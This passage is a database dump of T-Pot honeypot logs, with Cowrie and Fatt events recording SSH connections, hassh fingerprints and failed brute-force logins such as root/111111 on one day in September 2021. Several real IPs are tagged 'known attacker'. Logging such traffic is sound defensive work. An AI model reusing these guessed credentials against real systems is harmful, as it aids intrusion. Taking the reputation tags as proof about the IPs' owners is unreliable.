"ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "cd6d8aabb211", "@version": "1", "timestamp": "2021-09-20T11:09:53.526186Z", "@timestamp": "2021-09-20T11:09:53.526Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25342	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:53.681911+03	2021-09-20 14:15:10.001499+03	{"_id": "QAblAnwBvYTbRNuE6hoQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "615d1775190b", "@version": "1", "duration": 2.5460715293884277, "timestamp": "2021-09-20T11:09:53.681911Z", "@timestamp": "2021-09-20T11:09:53.681Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25343	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:53.804878+03	2021-09-20 14:15:10.0025+03	{"_id": "QQblAnwBvYTbRNuE6hoQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [amit/amit] failed", "session": "8d1c8add9c64", "@version": "1", "password": "amit", "username": "amit", "timestamp": "2021-09-20T11:09:53.804878Z", "@timestamp": "2021-09-20T11:09:53.804Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25344	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:54.005909+03	2021-09-20 14:15:10.0035+03	{"_id": "QgblAnwBvYTbRNuE6hoQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a9acc82a5d8e", "@version": "1", "duration": 2.475825071334839, "timestamp": "2021-09-20T11:09:54.005909Z", "@timestamp": "2021-09-20T11:09:54.005Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25345	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:54.073169+03	2021-09-20 14:15:10.0045+03	{"_id": "QwblAnwBvYTbRNuE6hoQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "16dc7c646d81", "@version": "1", "duration": 2.902125358581543, "timestamp": "2021-09-20T11:09:54.073169Z", "@timestamp": "2021-09-20T11:09:54.073Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25346	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:44.802249+03	2021-09-20 14:15:10.0065+03	{"_id": "WAblAnwBvYTbRNuExhlI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46900, "dest_port": 22, "timestamp": "2021-09-20T11:09:44.802249", "@timestamp": "2021-09-20T11:09:44.802Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25349	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:44.578498+03	2021-09-20 14:15:10.010501+03	{"_id": "YgblAnwBvYTbRNuExhne", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d33f7fcd1b48", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:44.578498Z", "@timestamp": "2021-09-20T11:09:44.578Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25350	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:44.796596+03	2021-09-20 14:15:10.0115+03	{"_id": "YwblAnwBvYTbRNuExhne", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "aea3bf48b099", "@version": "1", "duration": 2.9007394313812256, "timestamp": "2021-09-20T11:09:44.796596Z", "@timestamp": "2021-09-20T11:09:44.796Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25351	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:44.802849+03	2021-09-20 14:15:10.0135+03	{"_id": "ZAblAnwBvYTbRNuExhne", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d33f7fcd1b48", "@version": "1", "timestamp": "2021-09-20T11:09:44.802849Z", "@timestamp": "2021-09-20T11:09:44.802Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25352	159.75.114.202	109.199.241.180	Cowrie	2021-09-20 14:09:45.267096+03	2021-09-20 14:15:10.0145+03	{"_id": "ZQblAnwBvYTbRNuExhne", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "159.75.114.202", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.75.114.202", "eventid": "cowrie.login.failed", "message": "login attempt [lmendoza/lmendoza] failed", "session": "b3e3f3dd5cd8", "@version": "1", "password": "lmendoza", "username": "lmendoza", "timestamp": "2021-09-20T11:09:45.267096Z", "@timestamp": "2021-09-20T11:09:45.267Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25353	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:45.813265+03	2021-09-20 14:15:10.0155+03	{"_id": "ZgblAnwBvYTbRNuEyhkx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48074, "timestamp": "2021-09-20T11:09:45.813265", "@timestamp": "2021-09-20T11:09:45.813Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25354	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:45.623349+03	2021-09-20 14:15:10.0165+03	{"_id": "ZwblAnwBvYTbRNuEyhnG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:48074 (192.168.176.2:22) [session: d1954c9f280c]", "session": "d1954c9f280c", "@version": "1", "protocol": "ssh", "src_port": 48074, "dest_port": 22, "timestamp": "2021-09-20T11:09:45.623349Z", "@timestamp": "2021-09-20T11:09:45.623Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25355	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:45.553128+03	2021-09-20 14:15:10.0185+03	{"_id": "cgblAnwBvYTbRNuEyhnG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/111111] failed", "session": "2f9f644411e1", "@version": "1", "password": "111111", "username": "root", "timestamp": "2021-09-20T11:09:45.553128Z", "@timestamp": "2021-09-20T11:09:45.553Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25356	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:46.896959+03	2021-09-20 14:15:10.0195+03	{"_id": "dwblAnwBvYTbRNuEzhkY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51508, "timestamp": "2021-09-20T11:09:46.896959", "@timestamp": "2021-09-20T11:09:46.896Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25357	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:46.474133+03	2021-09-20 14:15:10.0215+03	{"_id": "fwblAnwBvYTbRNuEzhmx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", 